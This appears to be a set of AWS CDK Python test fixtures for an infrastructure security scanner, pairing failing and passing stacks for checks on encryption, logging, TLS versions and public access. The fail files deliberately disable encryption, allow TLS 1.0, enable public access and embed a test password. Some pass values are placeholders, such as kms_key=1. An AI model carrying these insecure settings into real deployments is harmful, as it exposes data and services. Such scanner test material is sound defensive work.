self, "AppSyncGraphQLApi", name="MyAppSyncAPI", authentication_type="API_KEY", # You can change the authentication type log_config=appsync.CfnGraphQLApi.LogConfigProperty( cloud_watch_logs_role_arn="cloudWatchLogsRoleArn", exclude_verbose_content=False, field_log_level=appsync.FieldLogLevel.ALL ), ) app = core.App() AppSyncStack(app, "AppSyncStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AppSyncLogging/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_appsync as appsync class AppSyncStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the GraphQL API using CfnGraphQLApi graphql_api = appsync.CfnGraphQLApi( self, "AppSyncGraphQLApi", name="MyAppSyncAPI", authentication_type="API_KEY", # You can change the authentication type log_config=appsync.CfnGraphQLApi.LogConfigProperty( exclude_verbose_content=False, field_log_level="fieldLogLevel" ), ) app = core.App() AppSyncStack(app, "AppSyncStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AppSyncLogging/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_appsync as appsync class AppSyncStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the GraphQL API using CfnGraphQLApi graphql_api = appsync.CfnGraphQLApi( self, "AppSyncGraphQLApi", name="MyAppSyncAPI", authentication_type="API_KEY", # You can change the authentication type log_config=appsync.CfnGraphQLApi.LogConfigProperty( cloud_watch_logs_role_arn="cloudWatchLogsRoleArn", exclude_verbose_content=False, field_log_level="fieldLogLevel" ), ) app = core.App() AppSyncStack(app, "AppSyncStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AthenaWorkgroupConfiguration/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_athena as athena class AthenaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Athena WorkGroup workgroup = athena.CfnWorkGroup( self, "MyAthenaWorkGroup", name="my-workgroup", description="My Athena WorkGroup", state="ENABLED", # You can change the state work_group_configuration=athena.CfnWorkGroup.WorkGroupConfigurationProperty( additional_configuration="additionalConfiguration", bytes_scanned_cutoff_per_query=123, customer_content_encryption_configuration=athena.CfnWorkGroup.CustomerContentEncryptionConfigurationProperty( kms_key="kmsKey" ), enforce_work_group_configuration=False, ) ) app = core.App() AthenaStack(app, "AthenaStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AthenaWorkgroupConfiguration/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_athena as athena class AthenaStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Athena WorkGroup workgroup = athena.CfnWorkGroup( self, "MyAthenaWorkGroup", name="my-workgroup", description="My Athena WorkGroup", state="ENABLED", # You can change the state work_group_configuration=athena.CfnWorkGroup.WorkGroupConfigurationProperty( additional_configuration="additionalConfiguration", bytes_scanned_cutoff_per_query=123, customer_content_encryption_configuration=athena.CfnWorkGroup.CustomerContentEncryptionConfigurationProperty( kms_key="kmsKey" ), enforce_work_group_configuration=True, ) ) app = core.App() AthenaStack(app, "AthenaStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AuroraEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class MyDBClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define RDS Aurora Serverless DB cluster my_db_cluster = rds.CfnDBCluster( self, 'MyDBCluster', engine='aurora', # Change this to your desired engine type engine_mode='serverless', storage_encrypted=False, # Other properties for your DB cluster ) app = core.App() MyDBClusterStack(app, "MyDBClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/AuroraEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_rds as rds class MyDBClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define RDS Aurora Serverless DB cluster my_db_cluster = rds.CfnDBCluster( self, 'MyDBCluster', engine='aurora', # Change this to your desired engine type engine_mode='serverless', storage_encrypted=True, # Other properties for your DB cluster ) app = core.App() MyDBClusterStack(app, "MyDBClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/BackupVaultEncrypted/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_backup as backup class MyBackupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a Backup Vault with the specified encryption key ARN backup_vault = backup.CfnBackupVault( self, "MyBackupVault", name="MyBackupVault", ) ================================================ FILE: cdk_integration_tests/src/python/BackupVaultEncrypted/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_backup as backup class MyBackupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Replace 'your-encryption-key-arn' with the actual KMS key ARN you want to use encryption_key_arn = 'your-encryption-key-arn' # Create a Backup Vault with the specified encryption key ARN backup_vault = backup.CfnBackupVault( self, "MyBackupVault", name="MyBackupVault", encryption_key_arn=encryption_key_arn, ) ================================================ FILE: cdk_integration_tests/src/python/CloudFrontTLS12/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class MyCloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( viewer_certificate=cloudfront.CfnDistribution.ViewerCertificateProperty( cloudfront_default_certificate=False, minimum_protocol_version='TLSv1.1' # Define the minimum supported TLS version ), # Other distribution configuration properties ) ) app = core.App() MyCloudFrontDistributionStack(app, "MyCloudFrontDistributionStack") app.synth() class MyCloudFrontDistributionStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( viewer_certificate=cloudfront.CfnDistribution.ViewerCertificateProperty( cloudfront_default_certificate=False, minimum_protocol_version='TLSv1.0' # Define the minimum supported TLS version ), # Other distribution configuration properties ) ) app = core.App() MyCloudFrontDistributionStack2(app, "MyCloudFrontDistributionStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudFrontTLS12/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class MyCloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( viewer_certificate=cloudfront.CfnDistribution.ViewerCertificateProperty( cloudfront_default_certificate=False, minimum_protocol_version='TLSv1.2' # Define the minimum supported TLS version ), # Other distribution configuration properties ) ) app = core.App() MyCloudFrontDistributionStack(app, "MyCloudFrontDistributionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudTrailLogValidation/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudtrail as cloudtrail from aws_cdk import aws_iam as iam class CloudTrailStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS CloudTrail trail using CfnTrail trail = cloudtrail.CfnTrail( self, "MyCloudTrail", is_logging=True, enable_log_file_validation=False, management_events=[ cloudtrail.ReadWriteType.WRITE_ONLY, ], include_global_service_events=True, ) app = core.App() CloudTrailStack(app, "CloudTrailStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudTrailLogValidation/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudtrail as cloudtrail from aws_cdk import aws_iam as iam class CloudTrailStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an AWS CloudTrail trail using CfnTrail trail = cloudtrail.CfnTrail( self, "MyCloudTrail", is_logging=True, enable_log_file_validation=True, # Enable log file validation management_events=[ cloudtrail.ReadWriteType.WRITE_ONLY, ], include_global_service_events=True, ) app = core.App() CloudTrailStack(app, "CloudTrailStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudWatchLogGroupKMSKey/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_logs as logs class MyBadLogGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a CloudWatch Logs log group without specifying KMS key log_group = logs.LogGroup( self, "MyBadLogGroup", log_group_name="MyLogGroupName", retention=logs.RetentionDays.ONE_MONTH, # Set the retention policy as needed # KMS key is not specified ) ================================================ FILE: cdk_integration_tests/src/python/CloudWatchLogGroupKMSKey/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_logs as logs class MyLogGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a CloudWatch Logs log group with KMS key ID log_group = logs.LogGroup( self, "MyLogGroup", log_group_name="MyLogGroupName", retention=logs.RetentionDays.ONE_MONTH, # Set the retention policy as needed kms_key=1, # Specify the KMS key ) ================================================ FILE: cdk_integration_tests/src/python/CloudWatchLogGroupRetention/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_logs as logs class MyLogGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudWatch Logs Log Group with Retention Period logs.CfnLogGroup( self, 'MyLogGroup', log_group_name='my-log-group', ) app = core.App() MyLogGroupStack(app, "MyLogGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudWatchLogGroupRetention/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_logs as logs class MyLogGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudWatch Logs Log Group with Retention Period logs.CfnLogGroup( self, 'MyLogGroup', log_group_name='my-log-group', retention_in_days=30 # Replace with your desired retention period in days # Other properties for your Log Group ) app = core.App() MyLogGroupStack(app, "MyLogGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudfrontDistributionEncryption/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class MyCloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudFront Distribution with ViewerProtocolPolicy set to allow_all distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( default_cache_behavior=cloudfront.CfnDistribution.DefaultCacheBehaviorProperty( viewer_protocol_policy='allow-all' ), # Add other properties for the distribution config as needed ) ) app = core.App() MyCloudFrontDistributionStack(app, "MyCloudFrontDistributionStack") app.synth() class MyCloudFrontDistributionStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudFront Distribution with CacheBehavior and ViewerProtocolPolicy distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( cache_behaviors=[ cloudfront.CfnDistribution.CacheBehaviorProperty( path_pattern='/path-to-cache', target_origin_id='my-target-origin-id', viewer_protocol_policy='allow-all' ) ], # Other distribution configuration properties ) ) app = core.App() MyCloudFrontDistributionStack2(app, "MyCloudFrontDistributionStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudfrontDistributionEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class MyCloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudFront Distribution with ViewerProtocolPolicy set to allow_all distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( default_cache_behavior=cloudfront.CfnDistribution.DefaultCacheBehaviorProperty( viewer_protocol_policy='abc' ), # Add other properties for the distribution config as needed ) ) app = core.App() MyCloudFrontDistributionStack(app, "MyCloudFrontDistributionStack") app.synth() class MyCloudFrontDistributionStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudFront Distribution with CacheBehavior and ViewerProtocolPolicy distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( cache_behaviors=[ cloudfront.CfnDistribution.CacheBehaviorProperty( path_pattern='/path-to-cache', target_origin_id='my-target-origin-id', ) ], # Other distribution configuration properties ) ) app = core.App() MyCloudFrontDistributionStack2(app, "MyCloudFrontDistributionStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudfrontDistributionLogging/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class MyCloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudFront Distribution with logging settings distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', ) app = core.App() MyCloudFrontDistributionStack(app, "MyCloudFrontDistributionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudfrontDistributionLogging/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudfront as cloudfront class MyCloudFrontDistributionStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudFront Distribution with logging settings distribution = cloudfront.CfnDistribution( self, 'MyCloudFrontDistribution', distribution_config=cloudfront.CfnDistribution.DistributionConfigProperty( logging=cloudfront.CfnDistribution.LoggingProperty( bucket='arn:aws:s3:::my-cloudfront-logs-bucket' # Replace with your S3 bucket ARN ), # Other distribution configuration properties ) ) app = core.App() MyCloudFrontDistributionStack(app, "MyCloudFrontDistributionStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudtrailEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudtrail as cloudtrail class MyCloudTrailTrailStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudTrail Trail with a specific KMS Key ID cloudtrail.CfnTrail( self, 'MyCloudTrail', ) app = core.App() MyCloudTrailTrailStack(app, "MyCloudTrailTrailStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudtrailEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudtrail as cloudtrail class MyCloudTrailTrailStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudTrail Trail with a specific KMS Key ID cloudtrail.CfnTrail( self, 'MyCloudTrail', kms_key_id='arn:aws:kms:REGION:ACCOUNT_ID:key/KMS_KEY_ID', # Replace with your KMS Key ID ARN # Other properties for your CloudTrail Trail ) app = core.App() MyCloudTrailTrailStack(app, "MyCloudTrailTrailStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudtrailMultiRegion/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudtrail as cloudtrail class MyCloudTrailStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudTrail Trail with IsMultiRegionTrail set to true cloudtrail.Trail( self, 'MyCloudTrail', is_multi_region_trail=False, # Other properties as needed for your CloudTrail Trail ) app = core.App() MyCloudTrailStack(app, "MyCloudTrailStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CloudtrailMultiRegion/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_cloudtrail as cloudtrail class MyCloudTrailStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define CloudTrail Trail with IsMultiRegionTrail set to true cloudtrail.Trail( self, 'MyCloudTrail', is_multi_region_trail=True, # Other properties as needed for your CloudTrail Trail ) app = core.App() MyCloudTrailStack(app, "MyCloudTrailStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CodeBuildProjectEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_codebuild as codebuild class MyCodeBuildProjectStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a CodeBuild project with S3 artifacts and encryption disabled my_project = codebuild.Project( self, 'MyCodeBuildProject', project_name='MyProject', source=codebuild.Source.git_hub(owner='owner', repo='repo'), artifacts=codebuild.Artifacts( type=codebuild.ArtifactsType.S3, encryption_disabled=True ), environment=codebuild.BuildEnvironment(build_image=codebuild.LinuxBuildImage.STANDARD_5_0), ) app = core.App() MyCodeBuildProjectStack(app, "MyCodeBuildProjectStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/CodeBuildProjectEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_codebuild as codebuild class MyCodeBuildProjectStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a CodeBuild project with S3 artifacts and encryption disabled my_project = codebuild.Project( self, 'MyCodeBuildProject', project_name='MyProject', source=codebuild.Source.git_hub(owner='owner', repo='repo'), artifacts=codebuild.Artifacts( type=codebuild.ArtifactsType.S3, encryption_disabled=False ), environment=codebuild.BuildEnvironment(build_image=codebuild.LinuxBuildImage.STANDARD_5_0), ) app = core.App() MyCodeBuildProjectStack(app, "MyCodeBuildProjectStack") app.synth() class MyCodeBuildProjectStack2(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define a CodeBuild project with S3 artifacts and encryption disabled my_project = codebuild.Project( self, 'MyCodeBuildProject', project_name='MyProject', source=codebuild.Source.git_hub(owner='owner', repo='repo'), artifacts=codebuild.Artifacts( encryption_disabled=True ), environment=codebuild.BuildEnvironment(build_image=codebuild.LinuxBuildImage.STANDARD_5_0), ) app = core.App() MyCodeBuildProjectStack2(app, "MyCodeBuildProjectStack2") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DAXEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_dax as dax class DAXClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a DAX cluster dax_cluster = dax.CfnCluster( self, "MyDAXCluster", cluster_name="MyDAXCluster", description="My DAX Cluster", iam_role_arn="arn:aws:iam::123456789012:role/DAXServiceRole", node_type="dax.r5.large", replication_factor=2, ) app = core.App() DAXClusterStack(app, "DAXClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DAXEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_dax as dax class DAXClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a DAX cluster dax_cluster = dax.CfnCluster( self, "MyDAXCluster", cluster_name="MyDAXCluster", description="My DAX Cluster", iam_role_arn="arn:aws:iam::123456789012:role/DAXServiceRole", node_type="dax.r5.large", replication_factor=2, sse_specification=dax.CfnCluster.SSESpecificationProperty( enabled=True, # Enable server-side encryption kms_key_id="arn:aws:kms:us-east-1:123456789012:key/your-kms-key-id" ) ) app = core.App() DAXClusterStack(app, "DAXClusterStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DMSReplicationInstancePubliclyAccessible/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_dms as dms class MyDMSReplicationInstanceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define DMS Replication Instance with PubliclyAccessible set to False dms.ReplicationInstance( self, 'MyDMSReplicationInstance', replication_instance_identifier='MyReplicationInstance', allocated_storage=100, engine_version='3.4.3', publicly_accessible=True # Set PubliclyAccessible to False # Add other properties as needed for your replication instance ) app = core.App() MyDMSReplicationInstanceStack(app, "MyDMSReplicationInstanceStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DMSReplicationInstancePubliclyAccessible/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_dms as dms class MyDMSReplicationInstanceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define DMS Replication Instance with PubliclyAccessible set to False dms.ReplicationInstance( self, 'MyDMSReplicationInstance', replication_instance_identifier='MyReplicationInstance', allocated_storage=100, engine_version='3.4.3', publicly_accessible=False # Set PubliclyAccessible to False # Add other properties as needed for your replication instance ) app = core.App() MyDMSReplicationInstanceStack(app, "MyDMSReplicationInstanceStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DocDBAuditLogs/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_docdb as docdb class DocDBStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the DocDB Cluster Parameter Group db_parameter_group = docdb.CfnDBClusterParameterGroup( self, "DocDBClusterParameterGroup", description="Custom DocDB Cluster Parameter Group", family="docdb4.0", parameters={ "audit_logs": "disabled", } ) app = core.App() DocDBStack(app, "DocDBStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DocDBAuditLogs/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_docdb as docdb class DocDBStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define the DocDB Cluster Parameter Group db_parameter_group = docdb.CfnDBClusterParameterGroup( self, "DocDBClusterParameterGroup", description="Custom DocDB Cluster Parameter Group", family="docdb4.0", parameters={ "audit_logs": "enabled", } ) app = core.App() DocDBStack(app, "DocDBStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DocDBEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_docdb as docdb class MyDocDBClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon DocumentDB cluster with storage encryption disabled docdb_cluster = docdb.CfnDBCluster( self, "MyDocDBCluster", db_cluster_identifier="my-docdb-cluster", master_username="admin", master_user_password="mypassword", # checkov:skip=CKV_SECRET_6 test secret availability_zones=["us-east-1a", "us-east-1b"], # Specify the availability zones port=27017, # Specify the port as needed ) ================================================ FILE: cdk_integration_tests/src/python/DocDBEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_docdb as docdb class MyDocDBClusterStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an Amazon DocumentDB cluster with storage encryption enabled docdb_cluster = docdb.CfnDBCluster( self, "MyDocDBCluster", db_cluster_identifier="my-docdb-cluster", master_username="admin", master_user_password="mypassword", # checkov:skip=CKV_SECRET_6 test secret storage_encrypted=True, # Enable storage encryption availability_zones=["us-east-1a", "us-east-1b"], # Specify the availability zones port=27017, # Specify the port as needed ) ================================================ FILE: cdk_integration_tests/src/python/DocDBTLS/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_docdb as docdb class MyDocDBParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define DocDB Cluster Parameter Group with 'tls' parameter set to 'disabled' docdb.CfnDBClusterParameterGroup( self, 'MyDocDBClusterParameterGroup', description='My DocDB Parameter Group', family='docdb4.0', parameters={ 'tls': 'disabled' } # Other properties as needed ) app = core.App() MyDocDBParameterGroupStack(app, "MyDocDBParameterGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DocDBTLS/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_docdb as docdb class MyDocDBParameterGroupStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define DocDB Cluster Parameter Group with 'tls' parameter set to 'disabled' docdb.CfnDBClusterParameterGroup( self, 'MyDocDBClusterParameterGroup', description='My DocDB Parameter Group', family='docdb4.0', parameters={ 'tls': 'enabled' } # Other properties as needed ) app = core.App() MyDocDBParameterGroupStack(app, "MyDocDBParameterGroupStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/DynamodbGlobalTableRecovery/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_dynamodb as dynamodb class DynamoDBGlobalTableStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a DynamoDB Global Table global_table = dynamodb.CfnGlobalTable( self, "MyGlobalTable", replication_group=[{"region_name": "us-east-1"}, {"region_name": "us-west-2"}], table_name="MyGlobalTable", replicas=[ dynamodb.CfnGlobalTable.ReplicaSpecificationProperty( point_in_time_recovery_specification=dynamodb.CfnGlobalTable.PointInTimeRecoverySpecificationProperty( point_in_time_recovery_enabled=False ) ) ] ) ================================================ FILE: cdk_integration_tests/src/python/DynamodbGlobalTableRecovery/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_dynamodb as dynamodb class DynamoDBGlobalTableStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a DynamoDB Global Table global_table = dynamodb.CfnGlobalTable( self, "MyGlobalTable", replication_group=[{"region_name": "us-east-1"}, {"region_name": "us-west-2"}], table_name="MyGlobalTable", replicas=[ dynamodb.CfnGlobalTable.ReplicaSpecificationProperty( point_in_time_recovery_specification=dynamodb.CfnGlobalTable.PointInTimeRecoverySpecificationProperty( point_in_time_recovery_enabled=True ) ) ] ) ================================================ FILE: cdk_integration_tests/src/python/DynamodbRecovery/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_dynamodb as dynamodb class MyDynamoDBStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a DynamoDB table with PointInTimeRecoveryEnabled set to True dynamodb_table = dynamodb.Table( self, "MyDynamoDBTable", table_name="MyTableName", partition_key=dynamodb.Attribute(name="PartitionKey", type=dynamodb.AttributeType.STRING), point_in_time_recovery=False, # Set PointInTimeRecoveryEnabled to True removal_policy=core.RemovalPolicy.DESTROY, # Specify the removal policy as needed ) ================================================ FILE: cdk_integration_tests/src/python/DynamodbRecovery/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_dynamodb as dynamodb class MyDynamoDBStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create a DynamoDB table with PointInTimeRecoveryEnabled set to True dynamodb_table = dynamodb.Table( self, "MyDynamoDBTable", table_name="MyTableName", partition_key=dynamodb.Attribute(name="PartitionKey", type=dynamodb.AttributeType.STRING), point_in_time_recovery=True, # Set PointInTimeRecoveryEnabled to True removal_policy=core.RemovalPolicy.DESTROY, # Specify the removal policy as needed ) ================================================ FILE: cdk_integration_tests/src/python/EBSEncryption/fail__1__.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MyVolumeStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an EBS volume without encryption ebs_volume = ec2.Volume( self, "MyEBSVolume", availability_zone="us-east-1a", # Replace with your desired availability zone size=100, # Set the size of the volume as needed encrypted=False, # Disable encryption (default is False) volume_type=ec2.EbsDeviceVolumeType.GP2, # Specify the volume type ) ================================================ FILE: cdk_integration_tests/src/python/EBSEncryption/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MyVolumeStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Create an EBS volume with encryption enabled ebs_volume = ec2.Volume( self, "MyEBSVolume", availability_zone="us-east-1a", # Replace with your desired availability zone size=100, # Set the size of the volume as needed encrypted=True, # Enable encryption volume_type=ec2.EbsDeviceVolumeType.GP2, # Specify the volume type ) ================================================ FILE: cdk_integration_tests/src/python/EC2PublicIP/fail__2__.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MyEC2InstanceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define VPC for the EC2 Instance vpc = ec2.Vpc( self, 'MyVpc', max_azs=2 # Replace with the desired number of Availability Zones ) # Define EC2 Instance with Network Interface having Public IP instance = ec2.CfnInstance( self, 'MyEC2Instance', image_id='ami-12345678', # Replace with your desired AMI ID instance_type='t2.micro', # Replace with your desired instance type network_interfaces=[{ 'associate_public_ip_address': True }] # Other properties for your EC2 Instance ) app = core.App() MyEC2InstanceStack(app, "MyEC2InstanceStack") app.synth() class MyEC2LaunchTemplateStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define Launch Template for the EC2 Instance launch_template = ec2.CfnLaunchTemplate( self, 'MyLaunchTemplate', launch_template_name='my-launch-template', launch_template_data={ 'network_interfaces': [{ 'associate_public_ip_address': True }] # Other properties for your Launch Template Data } ) app = core.App() MyEC2LaunchTemplateStack(app, "MyEC2LaunchTemplateStack") app.synth() ================================================ FILE: cdk_integration_tests/src/python/EC2PublicIP/pass.py ================================================ from aws_cdk import core from aws_cdk import aws_ec2 as ec2 class MyEC2InstanceStack(core.Stack): def __init__(self, scope: core.Construct, id: str, **kwargs) -> None: super().__init__(scope, id, **kwargs) # Define VPC for the EC2 Instance vpc = 